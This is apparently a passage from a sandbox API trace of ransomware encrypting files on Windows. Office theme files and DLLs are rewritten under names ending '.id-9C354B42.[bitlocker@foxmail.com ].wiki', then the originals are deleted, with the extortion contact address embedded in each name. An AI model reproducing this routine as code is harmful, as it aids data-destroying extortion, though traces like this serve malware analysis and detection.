CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0198.871] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.871] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0198.871] GetLastError () returned 0x0 [0198.871] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x254, lpOverlapped=0x0) returned 1 [0198.872] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x260, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0x260, lpOverlapped=0x0) returned 1 [0198.873] ReadFile (in: hFile=0x1e0, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0198.873] WriteFile (in: hFile=0x220, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0198.873] SetEndOfFile (hFile=0x220) returned 1 [0198.873] CloseHandle (hObject=0x220) returned 1 [0198.873] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0198.873] SetEndOfFile (hFile=0x1e0) returned 1 [0198.874] CloseHandle (hObject=0x1e0) returned 1 [0198.874] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0198.874] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\boldstri.inf")) returned 1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.875] lstrlenW (lpString=".doc") returned 4 [0198.875] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.875] lstrlenW (lpString=".docx") returned 5 [0198.875] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0198.875] lstrlenW (lpString=".pdf") returned 4 [0198.875] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.875] lstrlenW (lpString=".xls") returned 4 [0198.875] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.875] lstrlenW (lpString=".xlsx") returned 5 [0198.875] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0198.875] lstrlenW (lpString=".ppt") returned 4 [0198.875] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.875] lstrlenW (lpString=".zip") returned 4 [0198.875] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.875] lstrlenW (lpString=".rar") returned 4 [0198.875] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.875] lstrlenW (lpString=".bz2") returned 4 [0198.875] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.875] lstrlenW (lpString=".7z") returned 3 [0198.875] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.875] lstrlenW (lpString=".dbf") returned 4 [0198.875] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.875] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.875] lstrlenW (lpString=".1cd") returned 4 [0198.876] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString=".jpg") returned 4 [0198.876] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString=".doc") returned 4 [0198.876] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0198.876] lstrlenW (lpString=".docx") returned 5 [0198.876] lstrcmpiW (lpString1=".docx", lpString2="I.INF") returned -1 [0198.876] lstrlenW (lpString=".pdf") returned 4 [0198.876] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString=".xls") returned 4 [0198.876] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString=".xlsx") returned 5 [0198.876] lstrcmpiW (lpString1=".xlsx", lpString2="I.INF") returned -1 [0198.876] lstrlenW (lpString=".ppt") returned 4 [0198.876] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString=".zip") returned 4 [0198.876] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString=".rar") returned 4 [0198.876] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0198.876] lstrlenW (lpString=".bz2") returned 4 [0198.876] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0198.876] lstrlenW (lpString=".7z") returned 3 [0198.876] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString=".dbf") returned 4 [0198.876] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0198.876] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.876] lstrlenW (lpString=".1cd") returned 4 [0198.877] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0198.877] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\BOLDSTRI.INF") returned 77 [0198.877] lstrlenW (lpString=".jpg") returned 4 [0198.877] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0198.877] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0198.877] lstrlenW (lpString="CANYON.ELM") returned 10 [0198.877] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.694] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=44745) returned 1 [0199.694] CloseHandle (hObject=0x1c8) returned 1 [0199.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 0x20 [0199.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0199.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0199.694] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.694] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.695] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0199.695] GetLastError () returned 0x0 [0199.695] ReadFile (in: hFile=0x1c8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0xaec9, lpOverlapped=0x0) returned 1 [0199.698] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xaed0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xaed0, lpOverlapped=0x0) returned 1 [0199.700] ReadFile (in: hFile=0x1c8, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.700] WriteFile (in: hFile=0x1e0, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0199.700] SetEndOfFile (hFile=0x1e0) returned 1 [0199.700] CloseHandle (hObject=0x1e0) returned 1 [0199.700] SetFilePointerEx (in: hFile=0x1c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.700] SetEndOfFile (hFile=0x1c8) returned 1 [0199.701] CloseHandle (hObject=0x1c8) returned 1 [0199.701] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0199.702] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\canyon.elm")) returned 1 [0199.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.702] lstrlenW (lpString=".doc") returned 4 [0199.702] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0199.702] lstrlenW (lpString=".docx") returned 5 [0199.702] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0199.702] lstrlenW (lpString=".pdf") returned 4 [0199.702] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0199.702] lstrlenW (lpString=".xls") returned 4 [0199.702] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0199.702] lstrlenW (lpString=".xlsx") returned 5 [0199.702] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0199.702] lstrlenW (lpString=".ppt") returned 4 [0199.702] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0199.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.702] lstrlenW (lpString=".zip") returned 4 [0199.702] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0199.702] lstrlenW (lpString=".rar") returned 4 [0199.702] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0199.702] lstrlenW (lpString=".bz2") returned 4 [0199.702] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0199.702] lstrlenW (lpString=".7z") returned 3 [0199.702] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0199.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString=".dbf") returned 4 [0199.703] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0199.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString=".1cd") returned 4 [0199.703] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0199.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString=".jpg") returned 4 [0199.703] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString=".doc") returned 4 [0199.703] lstrcmpiW (lpString1=".doc", lpString2=".ELM") returned -1 [0199.703] lstrlenW (lpString=".docx") returned 5 [0199.703] lstrcmpiW (lpString1=".docx", lpString2="N.ELM") returned -1 [0199.703] lstrlenW (lpString=".pdf") returned 4 [0199.703] lstrcmpiW (lpString1=".pdf", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString=".xls") returned 4 [0199.703] lstrcmpiW (lpString1=".xls", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString=".xlsx") returned 5 [0199.703] lstrcmpiW (lpString1=".xlsx", lpString2="N.ELM") returned -1 [0199.703] lstrlenW (lpString=".ppt") returned 4 [0199.703] lstrcmpiW (lpString1=".ppt", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.703] lstrlenW (lpString=".zip") returned 4 [0199.703] lstrcmpiW (lpString1=".zip", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString=".rar") returned 4 [0199.703] lstrcmpiW (lpString1=".rar", lpString2=".ELM") returned 1 [0199.703] lstrlenW (lpString=".bz2") returned 4 [0199.703] lstrcmpiW (lpString1=".bz2", lpString2=".ELM") returned -1 [0199.703] lstrlenW (lpString=".7z") returned 3 [0199.704] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0199.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.704] lstrlenW (lpString=".dbf") returned 4 [0199.704] lstrcmpiW (lpString1=".dbf", lpString2=".ELM") returned -1 [0199.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.704] lstrlenW (lpString=".1cd") returned 4 [0199.704] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0199.704] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.ELM") returned 73 [0199.704] lstrlenW (lpString=".jpg") returned 4 [0199.704] lstrcmpiW (lpString1=".jpg", lpString2=".ELM") returned 1 [0199.704] lstrcmpiW (lpString1=".ELM", lpString2=".wiki") returned -1 [0199.704] lstrlenW (lpString="CASCADE.ELM") returned 11 [0199.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.ELM" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.elm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 411 os_tid = 0x63c [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c70290 [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10000) returned 0x3c80298 [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388a8 [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x6) returned 0x636eb0 [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388c0 [0182.612] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x100000) returned 0x3f20020 [0182.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388d8 [0182.613] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6388d8, Size=0x20) returned 0x633a30 [0182.613] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x10) returned 0x6388d8 [0182.613] RtlReAllocateHeap (Heap=0x5c0000, Flags=0x0, Ptr=0x6388d8, Size=0x20) returned 0x633b20 [0182.613] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x762e0000 [0182.613] GetProcAddress (hModule=0x762e0000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x7630d650 [0182.613] Wow64DisableWow64FsRedirection (in: OldValue=0x350ff58 | out: OldValue=0x350ff58*=0x0) returned 1 [0182.613] lstrlenW (lpString="kernel32.dll") returned 12 [0182.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633a30 | out: hHeap=0x5c0000) returned 1 [0182.613] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0182.613] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x633b20 | out: hHeap=0x5c0000) returned 1 [0182.613] Sleep (dwMilliseconds=0x64) [0182.844] Sleep (dwMilliseconds=0x64) [0183.106] lstrcmpiW (lpString1=".dll", lpString2=".wiki") returned -1 [0183.107] lstrlenW (lpString="xlsrvintl.dll") returned 13 [0183.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.107] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x350ff1c | out: lpFileSize=0x350ff1c*=105344) returned 1 [0183.107] CloseHandle (hObject=0x1dc) returned 1 [0183.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 0x20 [0183.107] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0183.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0183.107] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.107] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.107] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0183.108] GetLastError () returned 0x0 [0183.108] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x19b80, lpOverlapped=0x0) returned 1 [0183.119] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0x19b90, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0x19b90, lpOverlapped=0x0) returned 1 [0183.122] ReadFile (in: hFile=0x1dc, lpBuffer=0x3f20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fed4, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesRead=0x350fed4*=0x0, lpOverlapped=0x0) returned 1 [0183.122] WriteFile (in: hFile=0x1e0, lpBuffer=0x3f20020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x350fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f20020*, lpNumberOfBytesWritten=0x350fc9c*=0xee, lpOverlapped=0x0) returned 1 [0183.122] SetEndOfFile (hFile=0x1e0) returned 1 [0183.122] CloseHandle (hObject=0x1e0) returned 1 [0183.122] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec8 | out: lpNewFilePointer=0x0) returned 1 [0183.122] SetEndOfFile (hFile=0x1dc) returned 1 [0183.124] CloseHandle (hObject=0x1dc) returned 1 [0183.124] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0183.124] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\1033\\xlsrvintl.dll")) returned 1 [0183.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.124] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.124] lstrlenW (lpString=".doc") returned 4 [0183.124] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.124] lstrlenW (lpString=".docx") returned 5 [0183.124] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0183.124] lstrlenW (lpString=".pdf") returned 4 [0183.124] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.124] lstrlenW (lpString=".xls") returned 4 [0183.124] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.124] lstrlenW (lpString=".xlsx") returned 5 [0183.124] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0183.124] lstrlenW (lpString=".ppt") returned 4 [0183.124] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString=".zip") returned 4 [0183.125] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString=".rar") returned 4 [0183.125] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString=".bz2") returned 4 [0183.125] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0183.125] lstrlenW (lpString=".7z") returned 3 [0183.125] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString=".dbf") returned 4 [0183.125] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString=".1cd") returned 4 [0183.125] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString=".jpg") returned 4 [0183.125] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.125] lstrlenW (lpString=".doc") returned 4 [0183.125] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString=".docx") returned 5 [0183.125] lstrcmpiW (lpString1=".docx", lpString2="l.dll") returned -1 [0183.125] lstrlenW (lpString=".pdf") returned 4 [0183.125] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString=".xls") returned 4 [0183.125] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0183.125] lstrlenW (lpString=".xlsx") returned 5 [0183.125] lstrcmpiW (lpString1=".xlsx", lpString2="l.dll") returned -1 [0183.126] lstrlenW (lpString=".ppt") returned 4 [0183.126] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0183.126] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\1033\\xlsrvintl.dll") returned 74 [0183.126] lstrlenW (lpString=".zip") returned 4 [0183.126] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0183.126] lstrlenW (lpString=".rar") returned 4 